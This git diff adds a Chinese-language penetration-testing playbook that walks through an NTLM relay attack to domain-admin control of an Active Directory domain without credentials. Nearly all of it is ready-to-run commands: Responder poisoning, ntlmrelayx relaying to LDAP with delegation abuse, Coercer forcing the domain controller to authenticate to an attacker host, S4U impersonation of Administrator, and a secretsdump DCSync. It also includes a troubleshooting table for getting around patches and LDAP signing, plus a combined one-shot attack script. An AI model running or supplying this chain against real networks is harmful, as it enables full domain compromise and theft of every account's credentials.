reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,95 @@
|
||||
# [2026-04] NTLM Relay + Coercer → 域管权限(无需密码)
|
||||
|
||||
## 场景分类
|
||||
渗透测试 / 内网 / AD 攻击
|
||||
|
||||
## 目标概述
|
||||
在已获取内网接入点但无任何凭据的情况下,通过 NTLM Relay 攻击链获取域管权限。
|
||||
|
||||
## 完整执行链路
|
||||
|
||||
1. 内网接入后启动 Responder 监听(关闭 SMB/HTTP)
|
||||
```bash
|
||||
# 编辑 /etc/responder/Responder.conf
|
||||
# SMB = Off, HTTP = Off
|
||||
responder -I eth0 -v
|
||||
```
|
||||
|
||||
2. 启动 ntlmrelayx 中继到 LDAP(用于 AD CS 攻击)
|
||||
```bash
|
||||
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access
|
||||
```
|
||||
|
||||
3. 使用 Coercer 强制 DC 向我们认证
|
||||
```bash
|
||||
coercer coerce -u '' -p '' -d domain.local \
|
||||
-l attacker_ip -t dc01.domain.local --always-continue
|
||||
```
|
||||
|
||||
4. DC 的机器账户 NTLM 认证被中继到 LDAP
|
||||
5. ntlmrelayx 自动创建机器账户并配置约束委派
|
||||
6. 使用 S4U2Self + S4U2Proxy 模拟域管
|
||||
```bash
|
||||
getST.py -spn cifs/dc01.domain.local \
|
||||
-impersonate Administrator \
|
||||
domain.local/CREATED_MACHINE\$:'password' -dc-ip 10.0.0.1
|
||||
```
|
||||
|
||||
7. 使用票据 DCSync
|
||||
```bash
|
||||
export KRB5CCNAME=Administrator.ccache
|
||||
secretsdump.py -k -no-pass dc01.domain.local
|
||||
```
|
||||
|
||||
## 踩坑记录
|
||||
|
||||
| 问题 | 原因 | 解决方案 | 耗时 |
|
||||
|------|------|---------|------|
|
||||
| Coercer 无法触发认证 | 目标 DC 已打补丁禁用 PetitPotam | 换用 PrinterBug(MS-RPRN) | 30min |
|
||||
| ntlmrelayx 报 LDAP signing required | DC 启用了 LDAP 签名 | 改为中继到 LDAPS(636)或 HTTP AD CS | 20min |
|
||||
| 创建的机器账户无法 S4U | 域策略限制机器账户创建数 | 用已有的低权限域用户账户替代 | 15min |
|
||||
|
||||
## 工具链发现
|
||||
- Coercer 比手动调用 PetitPotam 更方便,自动尝试多种协议
|
||||
- ntlmrelayx 的 `--delegate-access` 参数是关键,自动完成委派配置
|
||||
- 如果 LDAP 签名启用,可以改为中继到 AD CS 的 HTTP 端点(ESC8)
|
||||
|
||||
## 关键代码/命令
|
||||
|
||||
```bash
|
||||
# 完整攻击链一条龙(需要 3 个终端)
|
||||
# 终端 1: Responder
|
||||
responder -I eth0 -v
|
||||
|
||||
# 终端 2: ntlmrelayx
|
||||
ntlmrelayx.py -t ldap://dc01.domain.local --delegate-access --escalate-user attacker
|
||||
|
||||
# 终端 3: Coercer
|
||||
coercer coerce -u '' -p '' -d domain.local -l attacker_ip -t dc01.domain.local
|
||||
```
|
||||
|
||||
## 可复用的模式/脚本片段
|
||||
|
||||
```bash
|
||||
# 快速检测 NTLM Relay 可行性
|
||||
# 1. 检查 SMB 签名
|
||||
crackmapexec smb 10.0.0.0/24 --gen-relay-list relay_targets.txt
|
||||
|
||||
# 2. 检查 LDAP 签名
|
||||
crackmapexec ldap dc01.domain.local -u '' -p '' -M ldap-checker
|
||||
|
||||
# 3. 检查可触发的协议
|
||||
coercer scan -u user -p pass -d domain.local -t dc01.domain.local
|
||||
```
|
||||
|
||||
## 对本包的改进建议
|
||||
- Coercer 和 Responder 已在路由和 bootstrap 中 ✓
|
||||
- ntlmrelayx 属于 impacket 套件,Kali 预装 ✓
|
||||
|
||||
## 进化动作
|
||||
- [x] 无需更新(已覆盖)
|
||||
|
||||
## 环境信息
|
||||
- Kali 2026.1, impacket 0.12.0, coercer 2.4.3
|
||||
- 目标: Windows Server 2022 DC, 域功能级别 2016
|
||||
- 前提: 已有内网接入点(通过 VPN 漏洞获取)
|
||||
Reference in New Issue
Block a user